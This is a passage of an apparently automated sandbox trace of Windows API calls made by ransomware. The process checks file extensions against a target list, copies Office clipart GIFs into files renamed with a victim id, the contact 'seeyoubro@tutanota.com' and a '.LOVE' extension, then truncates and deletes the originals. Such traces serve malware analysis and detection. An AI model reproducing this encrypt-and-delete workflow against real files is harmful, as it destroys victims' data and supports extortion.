(lpString=".bz2") returned 4 [0206.236] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.236] lstrlenW (lpString=".7z") returned 3 [0206.236] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0206.236] lstrlenW (lpString=".dbf") returned 4 [0206.236] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0206.236] lstrlenW (lpString=".1cd") returned 4 [0206.236] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0206.237] lstrlenW (lpString=".jpg") returned 4 [0206.237] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0206.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0206.237] lstrlenW (lpString=".doc") returned 4 [0206.237] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.237] lstrlenW (lpString=".docx") returned 5 [0206.237] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.237] lstrlenW (lpString=".pdf") returned 4 [0206.237] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.237] lstrlenW (lpString=".xls") returned 4 [0206.237] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.237] lstrlenW (lpString=".xlsx") returned 5 [0206.237] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.237] lstrlenW (lpString=".ppt") returned 4 [0206.237] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0206.237] lstrlenW (lpString=".zip") returned 4 [0206.237] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.237] lstrlenW (lpString=".rar") returned 4 [0206.237] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.237] lstrlenW (lpString=".bz2") returned 4 [0206.237] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.237] lstrlenW (lpString=".7z") returned 3 [0206.237] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0206.237] lstrlenW (lpString=".dbf") returned 4 [0206.237] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0206.237] lstrlenW (lpString=".1cd") returned 4 [0206.237] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0206.238] lstrlenW (lpString=".jpg") returned 4 [0206.238] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.238] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.238] lstrlenW (lpString="AG00103_.GIF") returned 12 [0206.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0206.239] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=12702) returned 1 [0206.239] CloseHandle (hObject=0x2f0) returned 1 [0206.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 0x220 [0206.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0206.239] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.239] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0206.241] GetLastError () returned 0x0 [0206.241] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x319e, lpOverlapped=0x0) returned 1 [0206.254] WriteFile (in: hFile=0x2d8, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x31a0, lpOverlapped=0x0) returned 1 [0206.257] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.257] WriteFile (in: hFile=0x2d8, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.257] SetEndOfFile (hFile=0x2d8) returned 1 [0206.264] CloseHandle (hObject=0x2d8) returned 1 [0206.267] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.267] SetEndOfFile (hFile=0x2f0) returned 1 [0206.268] CloseHandle (hObject=0x2f0) returned 1 [0206.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.269] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 1 [0206.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0206.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0206.269] lstrlenW (lpString=".doc") returned 4 [0206.269] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.269] lstrlenW (lpString=".docx") returned 5 [0206.269] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.269] lstrlenW (lpString=".pdf") returned 4 [0206.269] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.269] lstrlenW (lpString=".xls") returned 4 [0206.269] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.269] lstrlenW (lpString=".xlsx") returned 5 [0206.269] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.269] lstrlenW (lpString=".ppt") returned 4 [0206.269] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0206.269] lstrlenW (lpString=".zip") returned 4 [0206.269] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.269] lstrlenW (lpString=".rar") returned 4 [0206.269] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.269] lstrlenW (lpString=".bz2") returned 4 [0206.269] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.270] lstrlenW (lpString=".7z") returned 3 [0206.270] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0206.270] lstrlenW (lpString=".dbf") returned 4 [0206.270] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0206.270] lstrlenW (lpString=".1cd") returned 4 [0206.270] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0206.270] lstrlenW (lpString=".jpg") returned 4 [0206.270] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0206.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0206.270] lstrlenW (lpString=".doc") returned 4 [0206.270] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.270] lstrlenW (lpString=".docx") returned 5 [0206.270] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.270] lstrlenW (lpString=".pdf") returned 4 [0206.270] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.270] lstrlenW (lpString=".xls") returned 4 [0206.270] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.270] lstrlenW (lpString=".xlsx") returned 5 [0206.270] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.270] lstrlenW (lpString=".ppt") returned 4 [0206.270] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0206.270] lstrlenW (lpString=".zip") returned 4 [0206.270] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.270] lstrlenW (lpString=".rar") returned 4 [0206.270] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.270] lstrlenW (lpString=".bz2") returned 4 [0206.270] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.270] lstrlenW (lpString=".7z") returned 3 [0206.270] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0206.271] lstrlenW (lpString=".dbf") returned 4 [0206.271] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0206.271] lstrlenW (lpString=".1cd") returned 4 [0206.271] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0206.271] lstrlenW (lpString=".jpg") returned 4 [0206.271] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.271] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.271] lstrlenW (lpString="AG00129_.GIF") returned 12 [0206.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0206.271] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=12482) returned 1 [0206.271] CloseHandle (hObject=0x2f0) returned 1 [0206.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 0x220 [0206.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0206.272] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.272] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0206.272] GetLastError () returned 0x0 [0206.272] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x30c2, lpOverlapped=0x0) returned 1 [0206.285] WriteFile (in: hFile=0x364, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x30d0, lpOverlapped=0x0) returned 1 [0206.286] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.286] WriteFile (in: hFile=0x364, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.286] SetEndOfFile (hFile=0x364) returned 1 [0206.286] CloseHandle (hObject=0x364) returned 1 [0206.287] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.287] SetEndOfFile (hFile=0x2f0) returned 1 [0206.288] CloseHandle (hObject=0x2f0) returned 1 [0206.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.288] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 1 [0206.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0206.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0206.288] lstrlenW (lpString=".doc") returned 4 [0206.288] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.288] lstrlenW (lpString=".docx") returned 5 [0206.288] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.288] lstrlenW (lpString=".pdf") returned 4 [0206.288] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.288] lstrlenW (lpString=".xls") returned 4 [0206.288] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.288] lstrlenW (lpString=".xlsx") returned 5 [0206.288] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.288] lstrlenW (lpString=".ppt") returned 4 [0206.289] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0206.289] lstrlenW (lpString=".zip") returned 4 [0206.289] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.289] lstrlenW (lpString=".rar") returned 4 [0206.289] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.289] lstrlenW (lpString=".bz2") returned 4 [0206.289] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.289] lstrlenW (lpString=".7z") returned 3 [0206.289] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0206.289] lstrlenW (lpString=".dbf") returned 4 [0206.289] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0206.289] lstrlenW (lpString=".1cd") returned 4 [0206.289] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0206.289] lstrlenW (lpString=".jpg") returned 4 [0206.289] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0206.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0206.289] lstrlenW (lpString=".doc") returned 4 [0206.289] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.289] lstrlenW (lpString=".docx") returned 5 [0206.289] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.289] lstrlenW (lpString=".pdf") returned 4 [0206.289] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.289] lstrlenW (lpString=".xls") returned 4 [0206.289] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.289] lstrlenW (lpString=".xlsx") returned 5 [0206.289] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.289] lstrlenW (lpString=".ppt") returned 4 [0206.289] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0206.290] lstrlenW (lpString=".zip") returned 4 [0206.290] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.290] lstrlenW (lpString=".rar") returned 4 [0206.290] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.290] lstrlenW (lpString=".bz2") returned 4 [0206.290] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.290] lstrlenW (lpString=".7z") returned 3 [0206.290] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0206.290] lstrlenW (lpString=".dbf") returned 4 [0206.290] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0206.290] lstrlenW (lpString=".1cd") returned 4 [0206.290] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0206.290] lstrlenW (lpString=".jpg") returned 4 [0206.290] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.290] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.290] lstrlenW (lpString="AG00130_.GIF") returned 12 [0206.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.297] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=5253) returned 1 [0206.297] CloseHandle (hObject=0x33c) returned 1 [0206.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 0x220 [0206.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.297] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.297] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0206.299] GetLastError () returned 0x0 [0206.299] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x1485, lpOverlapped=0x0) returned 1 [0206.372] WriteFile (in: hFile=0x330, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x1490, lpOverlapped=0x0) returned 1 [0206.373] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.373] WriteFile (in: hFile=0x330, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.373] SetEndOfFile (hFile=0x330) returned 1 [0206.385] CloseHandle (hObject=0x330) returned 1 [0206.386] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.386] SetEndOfFile (hFile=0x33c) returned 1 [0206.387] CloseHandle (hObject=0x33c) returned 1 [0206.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.387] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 1 [0206.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0206.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0206.387] lstrlenW (lpString=".doc") returned 4 [0206.387] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.387] lstrlenW (lpString=".docx") returned 5 [0206.387] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.387] lstrlenW (lpString=".pdf") returned 4 [0206.387] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.387] lstrlenW (lpString=".xls") returned 4 [0206.387] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.388] lstrlenW (lpString=".xlsx") returned 5 [0206.388] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.388] lstrlenW (lpString=".ppt") returned 4 [0206.388] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0206.388] lstrlenW (lpString=".zip") returned 4 [0206.388] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.388] lstrlenW (lpString=".rar") returned 4 [0206.388] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.388] lstrlenW (lpString=".bz2") returned 4 [0206.388] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.388] lstrlenW (lpString=".7z") returned 3 [0206.388] lstrcmpiW (lpString1=".7z", lpString2="GIF") 